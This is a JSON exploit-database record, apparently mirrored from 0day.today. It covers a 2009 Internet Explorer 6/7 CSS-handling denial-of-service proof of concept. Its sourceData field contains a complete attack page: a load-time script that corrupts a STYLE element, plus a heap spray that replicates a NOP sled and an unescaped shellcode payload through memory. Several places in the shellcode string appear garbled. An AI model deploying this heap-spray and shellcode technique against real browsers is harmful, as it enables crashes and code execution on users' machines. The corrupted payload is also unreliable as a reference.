Description
Exploit for unknown platform in category dos / poc
{"id": "1337DAY-ID-9789", "type": "zdt", "bulletinFamily": "exploit", "title": "Internet Explorer 6/7 CSS Handling Denial of Service", "description": "Exploit for unknown platform in category dos / poc", "published": "2009-11-20T00:00:00", "modified": "2009-11-20T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/9789", "reporter": "K4mr4n_st", "references": [], "cvelist": [], "immutableFields": [], "lastseen": "2018-01-05T11:05:04", "viewCount": 5, "enchantments": {"score": {"value": 0.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.2}, "sourceHref": "https://0day.today/exploit/9789", "sourceData": "====================================================\r\nInternet Explorer 6/7 CSS Handling Denial of Service\r\n====================================================\r\n\r\n# Title: Internet Explorer 6/7 CSS Handling Denial of Service\r\n# CVE-ID: ()\r\n# OSVDB-ID: ()\r\n# Author: K4mr4n_st\r\n# Published: 2009-11-20\r\n# Verified: yes\r\n\r\nview source\r\nprint?\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n<HTML xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<HEAD>\r\n<script>\r\nfunction load(){\r\nvar e;\r\ne=document.getElementsByTagName(\"STYLE\")[0];\r\ne.outerHTML=\"1\";\r\n}\r\n</script>\r\n<STYLE type=\"text/css\">\r\nbody{ overflow: scroll; margin: 0; }\r\n</style>\r\n \r\n<SCRIPT language=\"javascript\">\r\nvar shellcode = unescape(\"%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EEu99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB0%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u\r\n7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063\");\r\nvar bigblock = unescape(\"%u9090%u9090\");\r\nvar headersize = 20;\r\nvar slackspace = headersize+shellcode.length;\r\nwhile (bigblock.length<slackspace) bigblock+=bigblock;\r\nfillblock = bigblock.substring(0, slackspace);\r\nblock = bigblock.substring(0, bigblock.length-slackspace);\r\nwhile(block.length+slackspace<0x40000) block = block+block+fillblock;\r\nmemory = new Array();\r\nfor (x=0; x<4000; x++) memory[x] = block + shellcode;\r\n</script>\r\n \r\n</HEAD>\r\n<BODY onload=\"load()\">\r\n</BODY>\r\n</HTML>\r\n\r\n\r\n\n# 0day.today [2018-01-05] #", "_state": {"dependencies": 1646786296, "score": 1659766679, "epss": 1678812679}}
{}
Internet Explorer 6/7 CSS Handling Denial of Service